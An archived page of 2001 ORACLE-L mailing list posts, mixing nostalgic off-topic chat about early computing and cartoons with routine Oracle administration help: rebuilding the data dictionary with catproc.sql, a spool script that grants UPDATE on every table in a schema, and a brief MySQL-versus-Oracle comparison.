the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Kevin Kostyszyn
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Norwood Bradly A
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



The information contained in this e-mail is strictly confidential and for the intended 
use of the addressee only; it may also be legally privileged and/or price sensitive.  
Notice is hereby given that any disclosure, use or copying of the information by 
anyone other than the intended recipient is prohibited and may be illegal.  If you 
have received this message in error, please notify the sender immediately by return 
e-mail.

Corporate Systems, Inc. has taken every reasonable precaution to ensure that any 
attachment to this e-mail has been swept for viruses.  We accept no liability for any 
damage sustained as a result of software viruses and advise you carry out your own 
virus checks before opening any attachment.

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: April Wells
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread tday6

And the Wayback Machine


   

Rachel

Carmichael  To: Multiple recipients of list ORACLE-L  

carmichr@hot[EMAIL PROTECTED]

mail.comcc:   

Sent by: Subject: RE: OT -- suggestions to ensure  

root@fatcity.nerdiness in potential IT staff   

com

   

   

08/02/2001 

02:11 PM   

Please 

respond to 

ORACLE-L   

   

   





Okay, who remembers Fractured Fairy Tales and the Professor and his boy
Sherman?


From: Farnsworth, Dave [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 08:41:38 -0800

And the question (still yet to be properly answered) is How many licks
does
it take to get to the center of a Tootsie Pop?

Very nice!!  I saw that all the time on my Saturdays watching Rocky and
Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!!

Dave

-Original Message-
Sent: Thursday, August 02, 2001 10:27 AM
To: Multiple recipients of list ORACLE-L


And the question (still yet to be properly answered) is How many licks
does
it take to get to the center of a Tootsie Pop?

  I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
 
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Farnsworth, Dave
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: 
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] 

RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Ivan_Rivera
Title: RE: OT -- suggestions to ensure nerdiness in potential IT staff





I have to agree with Kevin, this thread is great. However it makes me feel like I really am in the wrong profession, at the wrong time in the wrong place :( . 

In 1981 I was 5 years old and I've never really touched a computer until about 3 years ago, let alone know any of the answers to any of those questions.

You guys are great! I have learned so much from this list. Not only the technical stuff but learning about the IT and dba culture from you all is invaluable! I went to school for psych, so some of this old school talk that us young ones would hear from college cis professors I unfortunately never received, much less the knowledge of that curriculum.

I am speechless when I step back and look at this list and realize how diverse this list really is. I mean we have list members from so many parts of the world and from so many different walks of life. Who would have ever thought that this young Puerto Rican punk from the 'hood would have anything in common with you all? 

I can see us all now at a bar after an oracle event, me in my baggy jeans, timberland boots, Iceberg shirt, etc. enjoying beers with you all. Everyone enjoying and sharing a common bond (dba, oracle) that brings us all together. Most of you all's peers wouldn't even look our way or have two words for me and my friends in our natural environment. But I think I'd feel just as comfortable around you all as I do at a block party in Bed-Stuy or chilling with some of my friends in Liberty City, Miami.

All I can say the list is: I GIVE YOU ALL PROPS AND I GOT MAD LOVE FOR YALL! (translation: I hold you all in high esteem and greatly admire and respect you all). Thanks for everything. Ivan 




RV: Ever seen any of these errors?

2001-08-02 Thread Natalia Laracca

Hi,
I believe that you must be connectd as SYS or Internal and you must to run
the script catproc.sql
PATH:  .../product/.../rdbms/admin/catproc.sql


- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Wednesday, August 01, 2001 5:51 PM


 Our Financials production database server crashed last week.  When it came
 back up Oracle seemed to come up with no errors, everything connected
 properly, etc.  That evening the SA rebooted the machine to turn on
 diagnostics for Sun.  Oracle shutdown normally but after it came back up I
 started getting paged that some of the Financials processes weren't
working.
 I tried to start them and failed so I began poking around.  When I logged
 into SQL*Plus I got errors.  Unfortunately I didn't start writing things
 down until I had it 90% fixed :-{ but I *think* this was the order.  I
 backed up before and after.  Then, after each step, I recompiled any
invalid
 objects in the database.  I ran sqlplus /nolog, then connect internal,
both
 for consistancy and to run the $ORACLE_HOME/rdbms/admin scripts.

 1) ORA-06553: PLS-213: PACKAGE STANDARD not accessible
 Error accessing package DBMS_APPLICATION_INFO
 I checked for invalid objects, one _next_object (which appears to be a
bug)
 and a Financials package that is always invalid.
 2) OK, let's try to recreate STANDARD.  Ran the script, no errors
 SQL*Plus is still complaining.
 3) Somewhere along the line I saw references to catalog and catproc on
 Metalink.  After some more searching, I decided I didn't have anything to
 lose.  Ran catalog without errors.  Catproc had errors in a number of
 places.  I got dbms_output errors:
 create or replace package dbms_output as
 *
 ERROR at line 1:
 ORA-00604: error occurred at recursive SQL level 1
 ORA-1: unique constraint (SYS.I_OBJ2) violated
 H, it's doing 'create or replace', something's fishy
 Got a 'ORA-00921: unexpected end of SQL command' when it was running
 catqueue.sql.
 Got the errors:
 create or replace type sys.aq$_dummy_t as object (data char(1));
 *
 ERROR at line 1:
 ORA-6545: PL/SQL: compilation error - compilation aborted
 ORA-06550: line 2, column 1:
 PLS-00103: Encountered the symbol GRANT
 ORA-06550: line 0, column 0:
 PLS-00565: AQ$_DUMMY_T must be completed as a potential REF target
 (object type)
 These were the only error messages (other than dropping non-existant
indexes
 and those type of messages).
 4) I reran catproc, now the STANDARD errors are gone in SQL*Plus!  But,
when
 I logged in then I got:
 PLS-00201: identifier DBMS_OUTPUT.DISABLE must be declared
 and
 Use of Oracle SQL feature not in SQL92 Entry Level
 5) I changed catqueue.sql to get rid of a blank line and fixed the ORA-921
 error.
 6) In prvtaq.plb I removed the ; at the end of the first line and inserted
a
 / on the second line to fix the sys.aq$_dummy_t error messages
 7) Reran catproc again (I actually ran it twice, once after each script I
 changed).  Finally, no errors, including the DBMS_OUTPUT.DISABLE!
 8) Logged into SQL*Plus with no errors!

 Whew!  So what could have caused the problems to begin with?  There were
no
 errors in the alert log.  I ran dbv on all the datafiles, everything was
 clean.  The server crashed because of a bad processor, not because of a
bad
 disk (that was the development box on Sunday :-} ).  No core dumps.  I
 especially love the unique constraint violation on sys.i_obj2

 I count myself lucky, I didn't have to call Support, we didn't have
problems
 until after the reboot at 8:30 pm instead of during the middle of the day,
 and it's been a week without any other problems.

 Thanks!

 Linda
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Seley, Linda
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Natalia Laracca
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).



Re: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Ruth Gramolini

Now your getting to the good stuff!  Ruth
- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Thursday, August 02, 2001 2:39 PM


 And the Wayback Machine



 Rachel
 Carmichael  To: Multiple recipients of
list ORACLE-L
 carmichr@hot[EMAIL PROTECTED]
 mail.comcc:
 Sent by: Subject: RE: OT --
suggestions to ensure
 root@fatcity.nerdiness in potential IT staff
 com


 08/02/2001
 02:11 PM
 Please
 respond to
 ORACLE-L






 Okay, who remembers Fractured Fairy Tales and the Professor and his boy
 Sherman?


 From: Farnsworth, Dave [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
 Date: Thu, 02 Aug 2001 08:41:38 -0800
 
 And the question (still yet to be properly answered) is How many licks
 does
 it take to get to the center of a Tootsie Pop?
 
 Very nice!!  I saw that all the time on my Saturdays watching Rocky and
 Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!!
 
 Dave
 
 -Original Message-
 Sent: Thursday, August 02, 2001 10:27 AM
 To: Multiple recipients of list ORACLE-L
 
 
 And the question (still yet to be properly answered) is How many licks
 does
 it take to get to the center of a Tootsie Pop?
 
   I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
  
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Page, Bruce
INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Farnsworth, Dave
INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).


 _
 Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Rachel Carmichael
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).


 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author:
   INET: [EMAIL PROTECTED]

 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Ruth Gramolini
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L

Re: grants to schema query

2001-08-02 Thread JOE TESTA



as owner:

spool /tmp/update_all.spl
select 'grant update on '||table_name||' to user;' from 
user_tables;
spool off
@/tmp/update_all.spl

joe
 [EMAIL PROTECTED] 08/02/01 11:01AM 
Hope there is not an obvious answer to this. I want to grant 
UPDATE privto all objects in a schema to a user. Do I need to grant to 
each object orcan I somehow wildcard all the objects?. What are my 
option(s)?. I'dappreciate example grant statements!Sean 
:)Rookie Data Base AdministratorOracle 7.3.3, 8.0.5, 8.1.7 - NT, 
W2K[0%] OCP Oracle8i DBA[0%] OCP Oracle9i 
DBA  Organon (Ireland) 
Ltd.E-mail: [EMAIL PROTECTED] [subscribed: Digest 
Mode]Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA"Nobody 
loves me but my mother... and she could be jivin' too." - BB 
King-- Please see the official ORACLE-L FAQ: http://www.orafaq.com-- Author: 
O'Neill, Sean INET: [EMAIL PROTECTED]Fat City Network 
Services -- (858) 538-5051 FAX: (858) 538-5051San 
Diego, California -- Public Internet 
access / Mailing 
ListsTo 
REMOVE yourself from this mailing list, send an E-Mail messageto: 
[EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message 
BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list 
you want to be removed from). You mayalso send the HELP command for 
other information (like subscribing).


Re: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Jared . Still



 Sort of like UNIX in that it was sparse on the vowels.

What are you talking about?

There's 2 of them right there in the name.

Jared  ;)





   
 
[EMAIL PROTECTED]  
 
Sent by: To: Multiple recipients of list ORACLE-L 
[EMAIL PROTECTED]
[EMAIL PROTECTED]   cc:   
 
om   Subject: Re: OT -- suggestions to ensure 
nerdiness in potential IT 
  staff
 
   
 
08/02/01 08:27 
 
AM 
 
Please respond 
 
to ORACLE-L
 
   
 
   
 




In 1981 my oldest child was 2 and I was working on a very primitive RDBMS
at Boeing.

As a pre-teen I was making a crystal radio and wondering why anyone would
pay for batteries or electricity to power the radio when you could get all
the energy that you needed from the broadcast itself.

As a summer job in college I coded Computer Aided Instruction programs
written in Coursewriter II that ran on an IBM 70x (don't remember the last
digit) which had a magnetic core memory.  Output came back on IBM electric
typewriters that had been Rube Goldberged up as personal printers.

My 2nd IT job was as a computer operator on an IBM 360.  The boot sequence
was toggled in using switches on the front of the computer.  The IBM 370
had a 5 1/4 disk hard-wired that contained the boot sequence (circa 1977).

did a survey to find the most used micro computer in the business
environment.  Then they went out and built a whole suite of integrated
business products for that computer.  There was a spreadsheet (BoeingCalc),
a word processor, a mail program,a TTY terminal emulator, etc.  Cost
millions to develop.  Unfortunately, it was developed for the Terak, not
the IBM PC.  The Terak was a rack-mounted 8-bit microprocessor whose main
role was to control 6-axis milling machines.  Not much demand for an
integrated business suite there.

Hard sectored floppies had their tracks physically defined.  If I remember
right there were a series of small holes punched between each track so that
the head could align itself with the track.  Soft sectored floppies are
what we use today, where the media is continuous over the whole surface and
the track (and the inter track gap) are defined magnetically.  I do
remember the 8 floppies.  They made great frisbies.

APL is A Programming Language.  If I remember right it didn't allow
GOTOs.  It also had its own keyboard with its own character set.
Completely unintelligible to the uninitiated.

Was the turtle language based on LISP?

800 BPI or 1600 BPI tapes?  What's the blocking factor?  I forget what the
IEUtility was that I used for reading those standard (and non-standard)
labels, but once you figured out the block size and the blocking factor you
could dump the tape to an EPSDIC flat file and figure out the record
layout.  I saved many a boss's butt doing that in my early years.

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author:
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).




-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: 
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from 

RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Vergara, Michael (TEM)

What was it

Dreezel...drazzle...drozzle...drone
Time for this one to come home!

---
===
Michael P. Vergara  | Don't worry about the world ending today;
Oracle DBA  | it's already tomorrow in Australia.
Guidant Corporation |  - Charles Schulz


-Original Message-
Sent: Thursday, August 02, 2001 11:39 AM
To: Multiple recipients of list ORACLE-L


And the Wayback Machine


 

Rachel

Carmichael  To: Multiple recipients of list
ORACLE-L  
carmichr@hot[EMAIL PROTECTED]

mail.comcc:

Sent by: Subject: RE: OT -- suggestions
to ensure  
root@fatcity.nerdiness in potential IT staff

com

 

 

08/02/2001

02:11 PM

Please

respond to

ORACLE-L

 

 





Okay, who remembers Fractured Fairy Tales and the Professor and his boy
Sherman?


From: Farnsworth, Dave [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 08:41:38 -0800

And the question (still yet to be properly answered) is How many licks
does
it take to get to the center of a Tootsie Pop?

Very nice!!  I saw that all the time on my Saturdays watching Rocky and
Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!!

Dave

-Original Message-
Sent: Thursday, August 02, 2001 10:27 AM
To: Multiple recipients of list ORACLE-L


And the question (still yet to be properly answered) is How many licks
does
it take to get to the center of a Tootsie Pop?

  I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
 
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Page, Bruce
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Farnsworth, Dave
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: 
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).
-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Vergara, Michael (TEM)
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / 

RE: OT -- suggestions to ensure nerdiness in potential IT staff

2001-08-02 Thread Rachel Carmichael

nah, those were girl things.

punch ball outside, roller skates with two sets of wheels and a key to 
tighten the front clasp, climbing monkey bars

indoors it was books. Always books. I can't remember not reading


From: Sherman, Edward [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
Date: Thu, 02 Aug 2001 10:56:47 -0800

Mr. Peabody and Sherman?
Of course.

I was into Creepy Crawlers and Vac-U-Form back then but I'll bet you
were more into Incredible Edibles or Fun Flowers.

Cheers

-Original Message-
Sent: Thursday, August 02, 2001 2:12 PM
To: Multiple recipients of list ORACLE-L


Okay, who remembers Fractured Fairy Tales and the Professor and his boy
Sherman?


 From: Farnsworth, Dave [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff
 Date: Thu, 02 Aug 2001 08:41:38 -0800
 
 And the question (still yet to be properly answered) is How many licks
 does
 it take to get to the center of a Tootsie Pop?
 
 Very nice!!  I saw that all the time on my Saturdays watching Rocky and
 Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!!
 
 Dave
 
 -Original Message-
 Sent: Thursday, August 02, 2001 10:27 AM
 To: Multiple recipients of list ORACLE-L
 
 
 And the question (still yet to be properly answered) is How many licks
 does
 it take to get to the center of a Tootsie Pop?
 
   I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3.
  
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Page, Bruce
INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Farnsworth, Dave
INET: [EMAIL PROTECTED]
 
 Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
 San Diego, California-- Public Internet access / Mailing Lists
 
 To REMOVE yourself from this mailing list, send an E-Mail message
 to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
 the message BODY, include a line containing: UNSUB ORACLE-L
 (or the name of mailing list you want to be removed from).  You may
 also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Rachel Carmichael
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


* * * * * Freedom of Information Act Notice * * * * *
The information in this email is subject to the record protection mandated
by 5 United States Code 552(b)(4) and relevant judicial opinions.
--
Please see the official ORACLE-L FAQ: http://www.orafaq.com
--
Author: Sherman, Edward
   INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- Public Internet access / Mailing Lists

To REMOVE yourself from this mailing list, send an E-Mail message
to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in
the message BODY, include a line containing: UNSUB ORACLE-L
(or the name of mailing list you want to be removed from).  You may
also send the HELP command for other information (like subscribing).


_
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp

-- 
Please see the official ORACLE-L FAQ: http://www.orafaq.com
-- 
Author: Rachel Carmichael
  INET: [EMAIL PROTECTED]

Fat City Network Services-- (858) 538-5051  FAX: (858) 538-5051
San Diego, California-- 

Re: OT -- suggestions to ensure nerdiness in potential IT

2001-08-02 Thread JOE TESTA



ATC now that had to be kewl. Isnt it still the same from 
ages ago, they talked about ATC software/hardware has its own Y2K issue(not in 
the year 2000 but some time else in the future)

joe

 [EMAIL PROTECTED] 08/02/01 02:39PM Mid 
70's? I never used a computer before 1990. I went from 
zeroexperience to real-time, hybrid unix on a mainframe doing 
maintenanceprogramming for an Air Traffic Control system. Prior to 
that, I workedblue-collar (come from a long line of ironworkers) until I 
joined theUSAF and they told me I was a computer programmer...Scott 
ShaferSan Antonio, TX"Page, Bruce" wrote:  And 
just think about the PC being an advanced system for some of us. 
 Wait until we again start talking about using paper tapes and having to 
use scotch tape to put them back together to run them through. Or even the 
older guys that talk about switch boards. I am not as old as them. 
My computer days just go back to the mid 70's.   I love this 
stuff(being a nerd wannabe), but I don't have a  frickin 
clue  what any of you are talking 
about:)_Do 
You Yahoo!?Get your free @yahoo.com address at http://mail.yahoo.com-- Please see 
the official ORACLE-L FAQ: http://www.orafaq.com-- Author: Scott 
Shafer INET: [EMAIL PROTECTED]Fat City Network 
Services -- (858) 538-5051 FAX: (858) 538-5051San 
Diego, California -- Public Internet 
access / Mailing 
ListsTo 
REMOVE yourself from this mailing list, send an E-Mail messageto: 
[EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message 
BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list 
you want to be removed from). You mayalso send the HELP command for 
other information (like subscribing).


RE: Oracle vs. MySQL

2001-08-02 Thread Mohan, Ross

:)

Thanks!

-Original Message-
Sent: Wednesday, August 01, 2001 1:41 PM
To: Multiple recipients of list ORACLE-L


Hi, Ross,
I've got some experience with both
1. You dont have transaction (until  the very recent versions, at least)
2. You dont have fererential integrity (FK is declared but not enforced)
3. Dont have views
4. Noting like PL/SQL
5. Reader blocks writer
6. Weak type support, for example can put 123456 to the number(1) field -
further migration to Oracle may give you some pain
Bright side it's fast (beats Oracle sometimes) and free.

Regards, 
Vadim Gorbounov
Oracle DBA ( not mySQL:) )


-Original Message-
Sent: Wednesday, August 01, 2001 12:48 PM
To: Multiple recipients of list ORACLE-L


The comparisons look good for MySQL...
not bad for others, but better for
mySQL than some comments by some
folks on the list would have led me
to believe.

Anyone here have major gripes about
mySQL that oracle solved?

-Original Message-
Sent: Wednesday, August 01, 2001 12:01 PM
To: Multiple recipients of list ORACLE-L


Interesting site...

Since I am not familiar with some of the other databases, are all the ones
listed there 3 versions old or just Oracle?  I noticed DB2 was 2 versions
old.

 -Original Message-
 From: Dwayne Cox [mailto:[EMAIL PROTECTED]]
 Sent: Wednesday, August 01, 2001 9:56 AM
 To: Multiple recipients of list ORACLE-L
 Subject: Re: off topic--oracle Vs ms sql
 
 
 Try this site...
 
 http://www.mysql.com/information/crash-me.php
 
 On Mon, 30 Jul 2001 13:29:28 -0800
 Ravindra Basavaraja [EMAIL PROTECTED] wrote:
 
  Does anyone have any doc or links that compares oracle and ms sql.
  
  Also what are the equivalent data types in ms sql for oracle's lobs.
  
  Thanks
  Ravindra
 
 
 __
 Dwayne Cox
 DBA, Development Dept.
 Info Tech, Inc.
 [EMAIL PROTECTED]
 http://www.infotechfl.com
 ___
 The opinions expressed are the author's own unless otherwise stated
 -- 
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 -- 
 Author: Dwayne Cox
   INET: [EMAIL PROTECTED]
 
